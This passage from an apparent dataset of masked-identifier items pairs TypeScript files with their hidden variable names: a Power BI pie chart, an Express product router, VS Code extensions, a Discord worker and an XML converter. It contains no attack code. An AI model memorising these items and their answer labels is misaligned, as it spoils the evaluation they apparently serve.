//                 ""textFields"": [""description""],
//                 ""imageFields"": [""image""],
//             }
//         },
//         ""properties"": [
//             {
//                 ""name"": ""image"",
//                 ""dataType"": [""blob""],
//             },
//             {
//                 ""name"": ""description"",
//                 ""dataType"": [""text""],
//                 ""description"": ""Text description of the image. Can be a prompt that generates this image or it's img2text description."",
//             },
//         ],
//     }).do().catch((e) => console.info(""Image class already exists""));

//     await client.schema.classCreator().withClass({
//         ""class"": ""GeneratedImage"",
//         ""vectorizer"": ""multi2vec-clip"",
//         ""moduleConfig"": {
//             ""multi2vec-clip"": {
//                 ""textFields"": [""description""],
//                 ""imageFields"": [""image""],
//             },
//             ""ref2vec-centroid"": {
//                 ""referenceProperties"": [""hasParagraphs""],
//                 ""method"": ""mean""
//             }
//         },
//         ""properties"": [
//             {
//                 ""name"": ""image"",
//                 ""dataType"": [""blob""],
//             },
//             {
//                 ""name"": ""description"",
//                 ""dataType"": [""text""],
//                 ""description"": ""Text description of the image. Can be a prompt that generates this image or it's img2text description."",
//             },
//             {
//                 ""name"": ""generation"",
//                 ""dataType"": [""number""],
//                 ""description"": ""How many generations this image is from the original image."",
//             },
//             {
//                 ""name"": ""baseImage"",
//                 ""dataType"": [""Image""],
//                 ""description"": ""The original image and prompt that were used to generate this image."",

//             },
//             {
//                 ""name"": ""url"",
//                 ""dataType"": [""string""],
//                 ""description"": ""The url of the image."",

//             }
//         ],
//     }).do().catch((e) => console.info(""GeneratedImage class already exists""));
//     console.info(""Successfully created classes!"")
// })();




",dataObjs
66,"import { parse } from 'ts-command-line-args'
import { Map, Set } from 'immutable'

import type { DataType, TaskProvider } from ""@epfml/discojs"";
import { defaultTasks } from '@epfml/discojs'

interface BenchmarkArguments {
  provider: TaskProvider<DataType>
  numberOfUsers: number
  epochs: number
  roundDuration: number
  batchSize: number
  save: boolean
  host: URL
}

type BenchmarkUnsafeArguments = Omit<BenchmarkArguments, 'provider'> & {
  task: string
  help?: boolean
}

const argExample = 'e.g. npm start -- -u 2 -e 3 # runs 2 users for 3 epochs'

const unsafeArgs = parse<BenchmarkUnsafeArguments>(
  {
    task: { type: String, alias: 't', description: 'Task: tinder_dog, titanic, simple_face, cifar10 or lus_covid', defaultValue: 'tinder_dog' },
    numberOfUsers: { type: Number, alias: 'u', description: 'Number of users', defaultValue: 2 },
    epochs: { type: Number, alias: 'e', description: 'Number of epochs', defaultValue: 10 },
    roundDuration: { type: Number, alias: 'r', description: 'Round duration (in epochs)', defaultValue: 2 },
    batchSize: { type: Number, alias: 'b', description: 'Training batch size', defaultValue: 10 },
    save: { type: Boolean, alias: 's', description: 'Save logs of benchmark', defaultValue: false },
    host: {
      type: ( [MASK] : string) => new URL( [MASK] ),
      typeLabel: ""URL"",
      description: ""Host to connect to"",
      defaultValue: new URL(""http://localhost:8080""),
    },

    help: { type: Boolean, optional: true, alias: 'h', description: 'Prints this usage guide' }
  },
  {
    helpArg: 'help',
    headerContentSections: [{ header: 'DISCO CLI', content: 'npm start -- [Options]\n' + argExample }]
  }
)

const supportedTasks = Map(
  Set.of<TaskProvider<""image""> | TaskProvider<""tabular"">>(
    defaultTasks.cifar10,
    defaultTasks.lusCovid,
    defaultTasks.simpleFace,
    defaultTasks.titanic,
    defaultTasks.tinderDog,
  ).map((t) => [t.getTask().id, t]),
);

const provider = supportedTasks.get(unsafeArgs.task);
if (provider === undefined) {
  throw Error(`${unsafeArgs.task} not implemented.`)
}

export const args: BenchmarkArguments = {
  ...unsafeArgs,
  provider: {
    getTask() {
      const task = provider.getTask();

      // Override training information
      task.trainingInformation.batchSize = unsafeArgs.batchSize;
      task.trainingInformation.roundDuration = unsafeArgs.roundDuration;
      task.trainingInformation.epochs = unsafeArgs.epochs;

      // For DP
      // TASK.trainingInformation.clippingRadius = 10000000
      // TASK.trainingInformation.noiseScale = 0

      return task;
    },
    getModel: () => provider.getModel(),
  },
};",raw
67,"/*
 *  Power BI Visual CLI
 *
 *  Copyright (c) Microsoft Corporation
 *  All rights reserved.
 *  MIT License
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy
 *  of this software and associated documentation files (the """"Software""""), to deal
 *  in the Software without restriction, including without limitation the rights
 *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 *  copies of the Software, and to permit persons to whom the Software is
 *  furnished to do so, subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in
 *  all copies or substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 *  THE SOFTWARE.
 */

module powerbi.extensibility.visual {

    ""use strict"";
    export class Visual implements IVisual {
        private svg: d3.Selection<SVGElement>;
        private chartContainer: d3.Selection<SVGElement>;
        private colorPalette: IColorPalette;
        private host: IVisualHost;
        private selectionManager: ISelectionManager;
        private pie: Pie;
        private opacity: number = 100;

        private static CategoryColorsPropertyIdentifiers: DataViewObjectPropertyIdentifier = {
            objectName: ""categoryColors"",
            propertyName: ""fill""
        }
        private static ChartOpacityPropertyIdentifiers: DataViewObjectPropertyIdentifier = {
            objectName: ""chartOpacity"",
            propertyName: ""opacity""
        }

        constructor(options: VisualConstructorOptions) {
            this.svg = d3.select(options.element).append('svg');
            this.chartContainer = this.svg.append('g');
            this.host = options.host;
            this.colorPalette = this.host.colorPalette;
            this.selectionManager = this.host.createSelectionManager();
        }

        public update(options: VisualUpdateOptions): void {
            if (options.dataViews.length > 0) {
                this.pie = this.dataExtraction(options.dataViews[0]);
                this.updateSettings(options.dataViews[0]);
            } else {
                return;
            }
            this.generateVisual(this.pie, options.viewport);
        }

        private updateSettings(dataView: DataView): void {
            let metadata = dataView.metadata;
            let metadataObjects = metadata.objects;

            if (metadataObjects) {
                let chartOpacity = metadataObjects[Visual.ChartOpacityPropertyIdentifiers.objectName];
                this.opacity = chartOpacity[Visual.ChartOpacityPropertyIdentifiers.propertyName] as number;
            }

            let categories = dataView.categorical.categories;
            let categoryObjects = categories[0].objects;

            if (categoryObjects) {
                for (let i = 0; i < categoryObjects.length; i++) {
                    if (categoryObjects[i]) {
                        let chartColorObject = categoryObjects[i][Visual.CategoryColorsPropertyIdentifiers.objectName];
                        let chartColorProperty = chartColorObject[Visual.CategoryColorsPropertyIdentifiers.propertyName];
                        let color = (chartColorProperty as any).solid.color;
                        this.pie.slices[i].color = color;
                    }
                }
            }
        }

        private generateVisual(data: Pie, viewport: IViewport): void {
            //making pie chart full size of visual viewport
            let width = viewport.width;
            let height = viewport.height;
            let  [MASK]  = Math.min(width, height) / 2;

            //defining the vector element and centering the chart
            this.svg.attr('width', width)
                .attr('height', height);
            this.chartContainer.attr('transform', 'translate(' + (width / 2) + ',' + (height / 2) + ')');

            //defining the circle
            let arc = d3.svg.arc()
                .innerRadius(0)
                .outerRadius( [MASK] );

            //trying casting to any to fix compilation error
            let angles = d3.layout.pie()
                .value(<any>function(d) { return d.measure })
                .sort(null);

            //removing the old pie chart slices
            this.chartContainer.selectAll(""*"").remove();
            let selectionManager = this.selectionManager;

            //adding the new slices
            let path = this.chartContainer.selectAll('path')
                .data(angles(<any>data.slices))
                .enter()
                .append('path')
                .attr('d', <any>arc)
                .attr('fill', function(d) { return (d.data as any).color })
                .on('click', function(d) {
                    selectionManager.select((d.data as any).selectionID);
                    d3.select(this).attr(""fill"", ""#F0F0F0"");
                });

            this.chartContainer.attr(""opacity"", this.opacity / 100);
        }

        /*
         * This function extracts the data from the given DataView and passes it into the data model defined in
         * dataInterfaces.ts
         */
        private dataExtraction(dataView: DataView): Pie {
            let categoryColumn = dataView.categorical.categories[0];
            let categoryValues = categoryColumn.values;
            let valueColumn = dataView.categorical.values[0];
            let valueValues = valueColumn.values;
            if (categoryValues.length < 1 || valueValues.length !== categoryValues.length) {
                return {
                    slices: [],
                    sumOfMeasures: 0
                };
            }

            let pieSlices = [];
            let sumOfMeasures = 0;
            for (let i = 0; i < categoryValues.length; i++) {
                let category = categoryValues[i].valueOf() as string | number;
                let measure = valueValues[i].valueOf() as number;
                let color = this.colorPalette.getColor(category as string).value;
                sumOfMeasures += measure;

                let pieSlice = {
                    category,
                    measure,
                    color,
                    selectionID: this.host.createSelectionIdBuilder()
                        .withCategory(categoryColumn, i)
                        .createSelectionId()
                }
                pieSlices.push(pieSlice);
            }

            return {
                slices: pieSlices,
                sumOfMeasures: sumOfMeasures
            }
        }

        /**
         * This function gets called for each of the objects defined in the capabilities files and allows you to select which of the
         * objects and properties you want to expose to the users in the property pane.
         *
         */
        public enumerateObjectInstances(options: EnumerateVisualObjectInstancesOptions): VisualObjectInstance[] | VisualObjectInstanceEnumerationObject {
            let instanceEnumeration: VisualObjectInstanceEnumeration = [];

            if (options.objectName === Visual.ChartOpacityPropertyIdentifiers.objectName) {
                this.enumerateChartOpacity(instanceEnumeration);
            } else if (options.objectName === Visual.CategoryColorsPropertyIdentifiers.objectName) {
                this.enumerateCategoryProperties(instanceEnumeration);
            }
            return instanceEnumeration;
        }

        private enumerateCategoryProperties(instanceEnumeration: VisualObjectInstance[]): void {
            let slices = this.pie.slices;
            if (!slices || slices.length < 1) {
                return;
            }

            slices.forEach((slice: PieSlice) => {
                let selectionID: ISelectionId = slice.selectionID;
                let displayName: string = """" + slice.category;

                instanceEnumeration.push({
                    displayName,
                    objectName: Visual.CategoryColorsPropertyIdentifiers.objectName,
                    selector: (selectionID as powerbi.visuals.ISelectionId).getSelector(),
                    properties: {
                        fill: {
                            solid: {
                                color: slice.color
                            }
                        }
                    }

                })

            })
        }

        private enumerateChartOpacity(instanceEnumeration: VisualObjectInstance[]): void {
            instanceEnumeration.push({
                displayName: ""Opacity"",
                objectName: Visual.ChartOpacityPropertyIdentifiers.objectName,
                selector: null,
                properties: {
                    opacity: {
                        numeric: this.opacity
                    }
                },
                validValues: {
                    opacity: {
                        numberRange: {
                            min: 10,
                            max: 100
                        }
                    }
                }
            })
        }

    }
}
",radius
68,"import { Router } from 'express';
import { getRepository, getCustomRepository, getConnection } from 'typeorm';
import Product from '../models/Product';
import ProductRepository from '../repositories/ProductRepository';

const productRouter = Router();

productRouter.post('/', async (request, response) => {
  try {
    const repo = getRepository(Product);
    const res = await repo.save(request.body);
    await getConnection().queryResultCache?.remove(['listProduct'])
    return response.status(201).json(res);
  } catch (err) {
    console.log('err.message :>> ', err.message);
  }
});

productRouter.get('/', async (request, response) => {
  response.json(await getRepository(Product).find({cache:{id:'listProduct', milliseconds: 10000}}));
});

productRouter.get('/:description', async (request, response) => {
  const  [MASK]  = getCustomRepository(ProductRepository);
  const res = await  [MASK] .findByDescription(request.params.name);
  response.json(res);
});

export default productRouter;
",repository
69,"declare var CameraPreview : any;
interface Screen {
  orientation: any;
}

module StressBlasterApp {
  ""use strict"";

  class fireAnim {
    div: HTMLElement;
    snd: any;
    constructor (pgX : number, pgY : number) {
      this.div = document.createElement('div'); 
      this.div.classList.add('image-wrapper');
      this.div.style.left = pgX + 'px';
      this.div.style.top = pgY + 'px';
      this.div.innerHTML = '<img src=""img/explode.png"" width=""120"" height=""120"" />';
      document.body.appendChild(this.div);

      this.snd = new Audio('snd/explosion.mp3');
      setTimeout(this.startFade.bind(this), 1000);
      this.snd.play();
    }
    startFade():void {
      this.div.classList.add('fade-out');
      setTimeout(this.finishFade.bind(this), 1000);
      this.snd = null;
    }
    finishFade():void {
      this.div.remove();
    }
  }
  class shotAnim {
    div: HTMLElement;
    snd: any;
    constructor (pgX : number, pgY : number) {
      this.div = document.createElement('div'); 
      this.div.classList.add('image-wrapper');
      this.div.style.left = pgX + 'px';
      this.div.style.top = pgY + 'px';
      this.div.innerHTML = '<img src=""img/bullet-hole.png"" width=""120"" height=""120"" />';
      document.body.appendChild(this.div);

      this.snd = new Audio('snd/gunshot.mp3');
      setTimeout(this.startFade.bind(this), 1000);
      this.snd.play();
    }
    startFade():void {
      this.div.classList.add('fade-out');
      setTimeout(this.finishFade.bind(this), 1000);
      this.snd = null;
    }
    finishFade():void {
      this.div.remove();
    }
  }
  class mushAnim {
    div: HTMLElement;
    snd: any;
    counter: number;
    constructor (pgX : number, pgY : number) {
      this.div = document.createElement('div'); 
      this.div.classList.add('image-wrapper');
      this.div.style.left = pgX + 'px';
      this.div.style.top = (pgY-60) + 'px';
      this.counter = 0;
      document.body.appendChild(this.div);
      this.snd = new Audio('snd/blast.mp3');
      this.snd.play();
      this.animate();
    }
    animate():void {
      ++this.counter;
      this.div.innerHTML = '<img src=""img/mushroom/img'+this.counter+'.png"" width=""120"" height=""120"" />';
      if (this.counter == 25) {
	setTimeout(this.stop.bind(this), 100);
      } else {
	setTimeout(this.animate.bind(this), 100);
      }
    }
    stop():void {
      this.div.remove();
      this.snd = null;
    }
  }
  class bloodAnim {
    div: HTMLElement;
    snd: any;
    counter: number;
    
    constructor (pgX : number, pgY : number) {
      this.div = document.createElement('div'); 
      this.div.classList.add('image-wrapper');
      this.div.style.left = pgX + 'px';
      this.div.style.top = pgY + 'px';
      this.counter = 0;
      document.body.appendChild(this.div);
      this.snd = new Audio('snd/headchop.mp3');
      this.snd.play();
      this.animate();
    }
    animate():void {
      ++this.counter;
      this.div.innerHTML = '<img src=""img/blood/img'+this.counter+'.png"" width=""120"" height=""120"" />';
      if (this.counter == 9) {
	setTimeout(this.stop.bind(this), 150);
      } else {
	setTimeout(this.animate.bind(this), 150);
      }
    }
    stop():void {
      this.div.remove();
      this.snd = null;
    }
  }
  
  const ICO = 0;
  const FACTORY = 1;

  export module Application {
    var weapon : number;
    var arsenal = [
      [ ""explode-ico.png"", function(x,y) { return new fireAnim(x,y); } ],
      [ ""mushroom-ico.png"", function(x,y) { return new mushAnim(x,y); } ],
      [ ""blood-ico.png"", function(x,y) { return new bloodAnim(x,y); } ],
      [ ""gun-ico.png"", function(x,y) { return new shotAnim(x,y); } ],
      [ null, null ]
    ];
    export function initialize() {
      document.addEventListener('deviceready', onDeviceReady, false);
      weapon = 0;
    }
    function stopCamera() {
      CameraPreview.stopCamera();
    }
    function rotateIt() {
      stopCamera();
      startCamera();
    }
    function switchCamera(e : Event){
      console.log('SWITCHING CAMERAS********************');
      CameraPreview.switchCamera();
      e.stopPropagation();
      var snd = new Audio('snd/sw_camera.mp3');
      snd.play();
      setTimeout(function() { snd = null; },1000);
    }
    function switchWeapon(e : Event){
      console.log('SWITCHING WEAPON********************');
      weapon = weapon + 1;
      if (arsenal[weapon][ICO] == null) weapon = 0;
      var  [MASK]  : any = document.getElementById('switchWeaponButton');
       [MASK] .src = ""img/"" + arsenal[weapon][ICO];
      e.stopPropagation();
      var snd = new Audio('snd/sw_tool.mp3');
      snd.play();
      setTimeout(function() { snd = null; },1000);
    }
    function shootIt(e : MouseEvent) {
      var factory : any = arsenal[weapon][FACTORY];
      factory(e.pageX,e.pageY);
    }

    function startCamera() {
      console.log('START CAMERA ****************************************');
      console.log('Width: ' + window.screen.width);
      console.log('Width: ' + window.screen.height);
      console.log('Orientation is ' + screen.orientation.type);
      console.log('START CAMERA ****************************************');
      CameraPreview.startCamera({x: 0, y: 0, width: window.screen.width, height: window.screen.height, camera: ""back"", tapPhoto: false, previewDrag: false, toBack: true});
    }
    function onDeviceReady() {
      // Handle the Cordova pause and resume events
      document.addEventListener('pause', onPause, false);
      document.addEventListener('resume', onResume, false);
      startCamera();
      document.getElementById('switchCameraButton').addEventListener('click', switchCamera.bind(this), false);
      document.getElementById('switchWeaponButton').addEventListener('click', switchWeapon.bind(this), false);
      document.addEventListener('click', shootIt.bind(this), false);
      window.addEventListener('orientationchange', rotateIt.bind(this), false);
    }

    function onPause() {
      // TODO: This application has been suspended. Save application state here.
      console.log('************* PAUSE APPLICATION *****************');
    }

    function onResume() {
      // TODO: This application has been reactivated. Restore application state here.
      console.log('************* RESUME APPLICATION *****************');
    }
  }

  window.onload = function () {
    Application.initialize();
  }
}

",button
70,"/**
 * These interfaces make it easier to ensure merging standards.
 */
export interface IMergeable {
  mergeable: (other: IMergeable) => boolean;
  merge: (other: IMergeable) => void;
}

export const MergeProperties = (property1: any, property2: any): any => {
  if (typeof property1 !== typeof property2) {
    console.log(property1 + "" and "" + property2 + "" have a type mismatch, since "" + typeof property1 + "" is not "" + typeof property2);
    return property1;
  }

  // Merge arrays.
  if (property1 instanceof Array) {
    const addToArray = ( [MASK] : any) => {
      for (const value of mergedArray) {
        if (value ===  [MASK] ) {
          return;
        }
      }
      mergedArray.push( [MASK] );
    };
    const mergedArray = Array.from(property1);
    for (const value of property2) {
      addToArray(value);
    }
  }

  if (property1) {
    if (property2) {
      if (property1 !== property1)  {
        console.log(""Conflicting values between "" + property1 + "" and "" + property2);
      }
      return property1;
    } else {
      return property1;
    }
  } else {
    return property2;
  }
};
",toAdd
71,"// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {
	// Regular expression to match HSL values without hsl() wrapper
	const hslRegex = /(\d{1,3})\s*([\d.]+)%\s*([\d.]+)%/g;

	// Register color provider for CSS
	const disposable = vscode.languages.registerColorProvider('css', {
		provideDocumentColors( [MASK] : vscode.TextDocument): vscode.ProviderResult<vscode.ColorInformation[]> {
			const text =  [MASK] .getText();
			const colors: vscode.ColorInformation[] = [];

			let match;
			while ((match = hslRegex.exec(text)) !== null) {
				console.log(match);
				const colorRange = new vscode.Range(
					 [MASK] .positionAt(match.index),
					 [MASK] .positionAt(match.index + match[0].length)
				);

				const hue = parseInt(match[1], 10);
				const saturation = parseFloat(match[2]) / 100;
				const lightness = parseFloat(match[3]) / 100;

				// Convert HSL to RGB for the color picker
				const color = hslToRgb(hue, saturation, lightness);

				const colorInfo = new vscode.ColorInformation(colorRange, color);
				colors.push(colorInfo);
			}

			return colors;
		},

		provideColorPresentations(color: vscode.Color, context): vscode.ProviderResult<vscode.ColorPresentation[]> {
			const { red, green, blue } = color;
			const hslArr = rgb2hsl(red, green, blue);
			const hsl = { h: Math.round(hslArr[0] * 10) / 10, s: Math.round(hslArr[1] * 1000) / 10, l: Math.round(hslArr[2] * 1000) / 10 };
			const presentation = new vscode.ColorPresentation(`${hsl.h} ${hsl.s}% ${hsl.l}%`);
			return [presentation];
		}
	});

	context.subscriptions.push(disposable);
}



function hslToRgb(h: number, s: number, l: number): vscode.Color {
	let r, g, b;

	if (s === 0) {
		r = g = b = l; // achromatic
	} else {
		const q = l < 0.5 ? l * (1 + s) : l + s - l * s;
		const p = 2 * l - q;
		r = hueToRgb(p, q, h + 1 / 3);
		g = hueToRgb(p, q, h);
		b = hueToRgb(p, q, h - 1 / 3);
	}

	return new vscode.Color(r, g, b, 1.0);
}

function hueToRgb(p: number, q: number, t: number) {
	if (t < 0) { t += 1; }
	if (t > 1) { t -= 1; }
	if (t < 1 / 6) { return p + (q - p) * 6 * t; }
	if (t < 1 / 2) { return q; }
	if (t < 2 / 3) { return p + (q - p) * (2 / 3 - t) * 6; }
	return p;
}

function rgb2hsl(r: number, g: number, b: number) {
	let v = Math.max(r, g, b), c = v - Math.min(r, g, b), f = (1 - Math.abs(v + v - c - 1));
	let h = c && ((v === r) ? (g - b) / c : ((v === g) ? 2 + (b - r) / c : 4 + (r - g) / c));
	return [60 * (h < 0 ? h + 6 : h), f ? c / f : 0, (v + v - c) / 2];
}

export function deactivate() { }",document
72,"/*
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0
 */

import path from ""path"";
import { existsSync } from ""fs"";
import { mkdir, writeFile, rm } from ""node:fs/promises"";
import { handler } from ""../index"";

const __assetDirectoryPath = path.join(__dirname, ""mock-dir"");
const __outputPath = path.join(__dirname, ""mock-dir-output"");
describe(""Handler"", () => {
  beforeAll(async function Arrange() {
    await rm(__assetDirectoryPath, { recursive: true, force: true });
    await rm(__outputPath, { recursive: true, force: true });
    await mkdir(__assetDirectoryPath);
    await mkdir(__outputPath);
  });

  it(""should fail in absence of path inputs "", async function () {
    expect.assertions(2);
    await expect(handler("""", """")).rejects.toThrowError(""undefined input path"");
    await expect(handler(undefined, undefined)).rejects.toThrowError(""undefined input path"");
  });

  it(""should fail for invalid cdk asset path"", async function () {
    expect.assertions(1);
    await expect(handler(""invalidPath"", __outputPath)).rejects.toThrowError(/(ENOENT).+(invalidPath)/g);
  });

  it(""should succeed if cdk assets not found"", async function () {
    await expect(handler(__assetDirectoryPath, ""invalidPath"")).resolves.toBeUndefined();
  });

  it(""should fail for invalid output path"", async function () {
    // Arrange
    expect.assertions(1);
    const mockAssetPath = path.join(__assetDirectoryPath, ""./asset.cdkAsset.zip"");
    await writeFile(mockAssetPath, ""NoOp"");
    // Act, Assert
    await expect(handler(__assetDirectoryPath, ""invalidPath"")).rejects.toThrowError(/(ENOENT).+(invalidPath)/g);
    // Cleanup
    await rm(mockAssetPath);
  });

  it(""should successfully stage zip for valid paths"", async function () {
    const  [MASK]  = ""asset.cdkAsset.zip"";
    const mockAssetPath = path.join(__assetDirectoryPath,  [MASK] );
    await writeFile(mockAssetPath, ""NoOp"");
    await expect(handler(__assetDirectoryPath, __outputPath)).resolves.toBeUndefined();
    expect(existsSync(path.join(__outputPath,  [MASK] .split(""asset."").pop()!))).toBe(true);
  });

  afterAll(async function Cleanup() {
    await rm(__assetDirectoryPath, { recursive: true, force: true });
    await rm(__outputPath, { recursive: true, force: true });
  });
});
",zipName
73,"import * as vscode from ""vscode"";
import * as child_process from ""child_process"";
import * as fs from ""fs"";
import * as path from ""path"";
import KeilProject from ""./project"";

export function activate(context: vscode.ExtensionContext) {
  const subscriber = context.subscriptions;

  const channel = vscode.window.createOutputChannel(""ehong-dev"");
  channel.appendLine(""ehong dev plugin activated!"");
  channel.show();

  let project = new KeilProject(channel);

  var workspaceFolders = vscode.workspace.workspaceFolders;
  if (workspaceFolders && workspaceFolders.length > 0) {
    project.load(workspaceFolders[0].uri.fsPath);
  }

  const prevent = async ( [MASK] : () => Promise<void>) => {
    if (project.running) {
      vscode.window.showWarningMessage(""任务正在运行, 请稍后..."");
      return;
    }
    project.running = true;
    try {
      await  [MASK] .call(project);
    } finally {
      project.running = false;
    }
  };

  /* 监控 ehong.json 文件 的保存事件 */
  subscriber.push(
    vscode.workspace.onDidSaveTextDocument(async (event) => {
      if (event.fileName.endsWith(""ehong.json"")) {
        let workspace = vscode.workspace.getWorkspaceFolder(event.uri);
        if (workspace) {
          let work_dir = path.resolve(event.uri.fsPath, "".."");
          if (project.work_dir === work_dir) {
            // 重新加载
            project.load(work_dir);
          }
        }
      }
    })
  );

  /* 注册 编译项目 命令 */
  subscriber.push(
    vscode.commands.registerCommand(""ehong-dev.project.build"", () =>
      prevent(project.build)
    )
  );

  /* 注册 重新编译项目 命令 */
  subscriber.push(
    vscode.commands.registerCommand(""ehong-dev.project.rebuild"", () =>
      prevent(project.rebuild)
    )
  );

  /* 注册 清理项目 命令 */
  subscriber.push(
    vscode.commands.registerCommand(""ehong-dev.project.clean"", () =>
      prevent(project.clean)
    )
  );
}

// This method is called when your extension is deactivated
export function deactivate() {}

function get_ehong_config(
  workspace: vscode.WorkspaceFolder | undefined
): string | undefined {
  if (workspace) {
    let config_file = path.normalize(workspace.uri.fsPath + ""/ehong.json"");

    if (fs.existsSync(config_file)) {
      return config_file;
    }
  }
}

function communicateWithExternalProcess(
  channel: vscode.OutputChannel,
  exe_path: string,
  eh_configs: string[]
) {
  let uv4_path =
    vscode.workspace.getConfiguration(""ehong"").get<string>(""Uv4Path"") || """";

  const child = child_process.spawn(exe_path, [
    ""--uv4-path"",
    uv4_path,
    ""--configs"",
    eh_configs.join("" ""),
  ]);

  child.stdout.on(""data"", (data) => {
    let s: string = data.toString();
    channel.append(s);
    if (s.startsWith(""TargetName: "")) {
      s = s.slice(""TargetName: "".length);
      var v = s.indexOf(""\r\n"");
      var v = s.indexOf(""\r\n"");
      if (v !== -1) {
        s = s.slice(0, v);
      }

      console.log(`TargetName: ${s}`);
    }
    console.log();
  });

  child.stderr.on(""data"", (data) => {
    channel.append(data.toString());
  });

  child.on(""close"", (code) => {
    channel.append(`External process exited with code ${code}`);

    let command = `${exe_path} --uv4-path ${uv4_path} --configs ${eh_configs.join(
      "" ""
    )}`;

    child_process
      .exec(
        ""C:/Keil_v5/UV4/UV4.exe -r D:/work/6226master/applications/ble_app_findmy/keil/ble_app_findmy.uvprojx -j0 -t ble_app_findmy -o test_uv4.txt""
      )
      .once(""exit"", () => {
        //   setTimeout(() => clearInterval(timer), 100);
        console.log(""exe exited"");
        //   res();
      });

    // const task = new vscode.Task(
    //   { type: ""keil-task"" },
    //   vscode.TaskScope.Global,
    //   ""build_task"",
    //   ""shell""
    // );

    // //
    // task.execution = new vscode.ShellExecution(
    //   //   cmdPrefixSuffix + commandLine + cmdPrefixSuffix
    //   ""C:/Keil_v5/UV4/UV4.exe -r applications/ble_app_findmy/keil/ble_app_findmy.uvprojx -j0 -t ble_app_findmy""
    // );
    // task.isBackground = false;
    // // task.problemMatchers = this.getProblemMatcher();
    // task.presentationOptions = {
    //   echo: false,
    //   focus: false,
    //   clear: true,
    // };
    // vscode.tasks.executeTask(task);
  });
}
",action
74,"import {
  InteractionType,
  InteractionResponseType,
  InteractionResponseFlags,
  verifyKey,
} from 'discord-interactions'

export async function handleRequest(request: Request): Promise<Response> {
  const signature = request.headers.get('X-Signature-Ed25519')!
  const timestamp = request.headers.get('X-Signature-Timestamp')!
  const body = await request.clone().arrayBuffer()

  //prettier-ignore
  const  [MASK]  = verifyKey(body, signature, timestamp, 'your-public-key')

  if (! [MASK] ) {
    return new Response('bad request', { status: 401 })
  }

  const interaction = await request.json()

  if (interaction.type === InteractionType.PING) {
    return respond({
      type: InteractionType.PING,
    })
  }

  return respond({
    type: InteractionResponseType.CHANNEL_MESSAGE_WITH_SOURCE,
    data: {
      flags: InteractionResponseFlags.EPHEMERAL,
      content: 'this is coming from a cloudflare worker!!',
    },
  })
}

const respond = (body: object) =>
  new Response(JSON.stringify(body), {
    headers: { 'Content-Type': 'application/json' },
    status: 200,
  })
",isValid
75,"/*
 * Copyright (c) 2022 Huawei Device Co., Ltd.
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

interface ReceiveObject{
    obj : Object;
    spaces ?: string | number;
}

interface NativeConvertXml {
    new() : NativeConvertXml;
    convert(strXml : string, options ?: Object) : ReceiveObject;
}
interface ConvertXML {
    ConvertXml : NativeConvertXml;
}
declare function requireInternal(s : string) : ConvertXML;
const convertXml = requireInternal('ConvertXML');

class ConvertXML {
    convertxmlclass : NativeConvertXml;
    constructor() {
        this.convertxmlclass = new convertXml.ConvertXml();
    }
    convert(strXml : string, options ?: Object) {
        strXml = DealXml(strXml);
        let  [MASK]  = this.convertxmlclass.convert(strXml, options);
        let strEnd : string = '';
        if ( [MASK] .hasOwnProperty('spaces')) {
            let space : string | number | undefined =  [MASK] .spaces;
            delete  [MASK] .spaces;
        }
        return  [MASK] ;
    }
}

function DealXml(strXml : string)
{
    let idx : number = 0;
    let idxSec : number = 0;
    let idxThir : number = 0;
    let idxCData : number = 0;
    let idxCDataSec : number = 0;
    while ((idx = strXml.indexOf(']]><![CDATA')) !== -1) {
        strXml = strXml.substring(0, idx + 3) + ' ' + strXml.substring(idx + 3);
    }
    while ((idx = strXml.indexOf('>', idxSec)) !== -1) {
        idxThir = strXml.indexOf('<', idx);
        strXml = DealPriorReplace(strXml, idx, idxThir);
        if (strXml.indexOf('<', idx) !== -1) {
            idxCData = strXml.indexOf('<![CDATA', idxCDataSec);
            idxSec = strXml.indexOf('<', idx);
            if (idxSec === idxCData) {
                idxSec = strXml.indexOf(']]>', idxCData);
                strXml = DealLaterReplace(strXml, idx, idxThir);
                idxCDataSec = idxSec;
            }
        }
        else {
            break;
        }
    }
    return strXml;
}

function DealPriorReplace(strXml : string, idx : number, idxThir : number)
{
    let i : number = idx + 1;
    for (; i < idxThir ; i++) {
        let cXml : string = strXml.charAt(i);
        if (cXml !== '\n' && cXml !== '\v' && cXml !== '\t' && cXml !== ' ')
        {
            break;
        }
    }
    let j : number = idx + 1;
    for (; j < strXml.indexOf('<', idx) ; j++) {
        let cXml : string = strXml.charAt(j);
        if (i !== idxThir) {
            switch (cXml) {
                case '\n':
                    strXml = strXml.substring(0, j) + '\\n' + strXml.substring(j + 1);
                    break;
                case '\v':
                    strXml = strXml.substring(0, j) + '\\v' + strXml.substring(j + 1);
                    break;
                case '\t':
                    strXml = strXml.substring(0, j) + '\\t' + strXml.substring(j + 1);
                    break;
                default:
                    break;
            }
        } else {
            strXml = strXml.substring(0, j) + strXml.substring(j + 1);
            --j;
        }
    }
    return strXml;
}

function DealLaterReplace(strXml : string, idx : number, idxThir : number)
{
    let i : number = idx + 1;
    for (; i < idxThir ; i++) {
        let cXml : string = strXml.charAt(i)
        switch (cXml) {
